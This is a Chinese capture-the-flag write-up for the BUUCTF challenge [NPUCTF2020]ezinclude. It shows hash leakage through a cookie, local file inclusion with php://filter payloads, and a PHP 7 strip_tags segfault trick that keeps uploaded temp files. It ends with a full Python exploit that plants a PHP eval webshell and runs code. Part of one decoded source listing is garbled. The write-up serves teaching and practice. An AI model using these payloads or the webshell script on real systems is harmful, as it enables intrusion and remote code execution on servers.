BUUCTF_[NPUCTF2020]ezinclude

[NPUCTF2020]ezinclude

参考:

[NPUCTF2020]ezinclude-CSDN博客

https://github.com/H4ckForJob/dirmap/blob/master/data/

[NPUCTF2020]ezinclude(PHP临时文件包含) – 「配枪朱丽叶。」 (shawroot.cc)

场景:

image-20240206143845264

查看网页源代码:

image-20240206143907330

得到提示信息:

1
<!--md5($secret.$name)===$pass -->

这里要求我们$secret.$name的md5值要和$pass相等

猜测:

1
如果$name和$pass的参数我们不可控,那么我们将无法绕过这个判断,即这个提示就没有任何的意义(因为我已经对网站的后台文件都进行扫描还是没有发现什么有用的文件),所以这两个参数必须可控,现在假设我们可以输入这两个参数的值,$name我们输入一个值,那么我们也需要知道$secret.$name的md5的值才可以输入$pass的值,如果我们先输入$pass的值,但是由于不知道$secret的值,所以无法输入$name的值,所以如果要让这个提示存在意义,那么就是我们输入$name的值,同时获取到$secret.$name的加密值

BP抓包进一步收集信息:

image-20240206144517403

发现cookie存在一个hash值

随意输入一个name的值:

1
?name=1

image-20240206144623159

发现响应结果中存在一个Set-Cookie: Hash=576322dd496b99d07b5b0f7fa7934a25;

1
?name=2

image-20240206144721294

发现不同的name回显不同的set-cookie值,猜测该hash值就是$secret.$name的md5加密值

验证猜测:

1
?name=1&pass=576322dd496b99d07b5b0f7fa7934a25

image-20240206144858912

成功回显一个文件信息:flflflflag.php

访问flflflflag.php:

image-20240206145214434

直接跳转到404.html上了,没有访问flflflflag.php,可能是直接进行跳转了,可以用抓包拦截一下

BP抓包拦截flflflflag.php:

image-20240206145342309

根据响应包内容确实获取到,访问该页面时会自动跳转到404.html,同时获得提示信息:

1
include($_GET["file"])

该文件存在文件包含漏洞

构造文件包含payload:

由于我们现在只知道一个index.php和flflflflag.php,所以先获取这两个文件的信息

获取flflflflag.php信息payload1:

1
flflflflag.php?file=php://filter/read=convert.base64-encode/resource=./flflflflag.php

image-20240206145854174

回显内容:

1
PGh0bWw+CjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmPSI0MDQuaHRtbCI7Cjwvc2NyaXB0Pgo8dGl0bGU+dGhpc19pc19ub3RfZmw0Z19hbmRf5Ye66aKY5Lq6X3dhbnRzX2dpcmxmcmllbmQ8L3RpdGxlPgo8L2hlYWQ+Cjw+Cjxib2R5Pgo8P3BocAokZmlsZT0kX0dFVFsnZmlsZSddOwppZihwcmVnX21hdGNoKCcvZGF0YXxpbnB1dHx6aXAvaXMnLCRmaWxlKSl7CglkaWUoJ25vbm9ubycpOwp9CkBpbmNsdWRlKCRmaWxlKTsKZWNobyAnaW5jbHVkZSgkX0dFVFsiZmlsZSJdKSc7Cj8+CjwvYm9keT4KPC9odG1sPgo=

base64解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_鍑洪浜篲wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

获取index.php文件信息paylaod2:

1
flflflflag.php?file=php://filter/read=convert.base64-encode/resource=./index.php

image-20240206150245971

回显内容:

1
PD9waHAKaW5jbHVkZSAnY29uZmlnLnBocCc7CkAkbmFtZT0kX0dFVFsnbmFtZSddOwpAJHBhc3M9JF9HRVRbJ3Bhc3MnXTsKaWYobWQ1KCRzZWNyZXQuJG5hbWUpPT09JHBhc3MpewoJZWNobyAnPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZj0iZmxmbGZsZmxhZy5waHAiOwoJPC9zY3JpcHQ Cic7Cn1lbHNlewoJc2V0Y29va2llKCJIYXNoIixtZDUoJHNlY3JldC4kbmFtZSksdGltZSgpKzM2MDAwMDApOwoJZWNobyAidXNlcm5hbWUvcGFzc3dvcmQgZXJyb3IiOwp9Cj8 CjxodG1sPgo8IS0tbWQ1KCRzZWNyZXQuJG5hbWUpPT09JHBhc3MgLS0 CjwvaHRtbD4K

base64解码:

1
2
3
4
5
6
7
8
9
10
11
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
echo '<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script壩聼Y[賌聜\賋圹谮YJ?\??Y
J 賆軝]?榌YJK[YJ
J掏?
N聜YX??漒賊洏[YK?\茌圮?\湜軋幝烞徖F嘑置啵?抑諧R侴6V7&WB釬?諶撚右G72倚(鸾⊙蛋?

发现存在一个config.php,我们可以读取一下

获取config.php信息payload3:

1
flflflflag.php?file=php://filter/read=convert.base64-encode/resource=./config.php

image-20240206150606969

回显内容:

1
PD9waHAKJHNlY3JldD0nJV4kJiQjZmZmZGZsYWdfaXNfbm90X2hlcmVfaGFfaGEnOwo/Pgo=

base64解码:

1
2
3
<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>

所有的文件信息都获取了,但是依然没有flag的信息。

使用dirseach重新扫描网站:

(这里使用新下载的字典dict_mode_dict.txt)

1
python dirsearch.py -u http://5e0508ab-7d6c-471a-906b-cdfbed6e8c50.node5.buuoj.cn:81/ -e * --timeout=3 -t 1 -x 400,403,404,500,503,429 -w ./dict_mode_dict.txt

image-20240206160429411

扫了两次才出来,以后看来都得至少扫两次,发现一个dir.php文件

使用文件包含漏洞获取dir.php文件信息:

payload:

1
flflflflag.php?file=php://filter/read=convert.base64-encode/resource=./dir.php

image-20240206160708008

回显内容:

1
PD9waHANCnZhcl9kdW1wKHNjYW5kaXIoJy90bXAnKSk7DQo/Pg==

base64解密:

1
2
3
<?php
var_dump(scandir('/tmp'));
?>

知识点介绍:

1
2
3
4
5
6
7
8
9
var_dump(scandir('/tmp'));
var_dump(scandir('/tmp')) 这段代码的作用是获取指定目录(这里是 /tmp)下的文件和子目录列表,并将其打印输出。

具体解释如下:

scandir('/tmp') 是 PHP 的内置函数,用于获取指定目录中的所有文件和子目录。在这里,我们指定了目录为 /tmp,即临时目录。
scandir('/tmp') 返回一个数组,包含了目录下的所有文件和子目录的名字(包括 . 和 ..)。
var_dump() 是 PHP 的调试函数,用于打印输出变量的详细信息(包括类型和值)。在这里,我们将 scandir('/tmp') 的返回结果作为参数传递给 var_dump() 函数,以便查看该目录下的文件和子目录列表。
所以,这段代码的作用是获取 /tmp 目录下的文件和子目录列表,并将其详细信息打印输出,以便进行调试或查看目录内容。

所以dir.php文件可以用来获取/tmp目录下的文件信息

利用php7 segment fault特性(CVE-2018-14884)

image-20240206162913121

根据响应包可知,网站的php版本是7.0.33

PHP临时文件包含

参考:PHP LFI 利用临时文件 Getshell 姿势 | 码农家园 (codenong.com)

漏洞介绍:

1
php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

攻击方式:

1
2
xxx.php是存在文件包含的php文件:
url/xxx.php?file=php://filter/string.strip_tags/resource=文件路径

这种 包含 会导致php执行过程中出现segment fault,此时上传文件,临时文件会被保存在upload_tmp_dir所指定的目录下,不会被删除,这样就能达成getshell的目的。

根据载荷编写攻击脚本:

exp.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#python version 2.7

import requests
from io import BytesIO
import re

# 上传我们的木马文件到/tmp目录下
payload = "<?php eval($_POST[cmd]);?>"
Pass_files = {
'file': BytesIO(payload.encode())
}
url1 = 'http://5e0508ab-7d6c-471a-906b-cdfbed6e8c50.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=index.php'
# 我们设置了post传参请求,同时设置了文件上传参数files,这样就可以通过post请求上传我们的文件了
r = requests.post(url=url1, files=Pass_files, allow_redirects=False)

# 获取/tmp/目录下我们上传的木马文件
url2 = 'http://5e0508ab-7d6c-471a-906b-cdfbed6e8c50.node5.buuoj.cn:81/dir.php'
r = requests.get(url2)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content.decode('utf-8')).group(0)

print("++++++++++++++++++++++")
print(data)
print("++++++++++++++++++++++")

# 使用文件包含我们的木马文件,然后进行rce
url3 = 'http://5e0508ab-7d6c-471a-906b-cdfbed6e8c50.node5.buuoj.cn:81/flflflflag.php?file=/tmp/'+data
data = {
'cmd': "phpinfo();"
}
r = requests.post(url=url3, data=data)
print(r.text)

访问:dir.php:

由于我运行了好几次脚本,所以要用最新生成的文件名:tmp/php8dW0yU

image-20240206175058318

在flflflflag.php中包含tmp/php8dW0yU:

等效于将该文件嵌入flflflflag.php中,即使tmp/php8dW0yU没有后缀名,但是由于include()包含,flflflflag.php是主文件,所以也可以使tmp/php8dW0yU文件的内容按照主文件的格式运行。

image-20240206175712022

flag=flag{62950e2d-8c41-4734-896d-985a6529576b}


BUUCTF_[NPUCTF2020]ezinclude
http://example.com/2024/02/18/2024-02-18-[NPUCTF2020]ezinclude/
作者
South
发布于
2024年2月18日
许可协议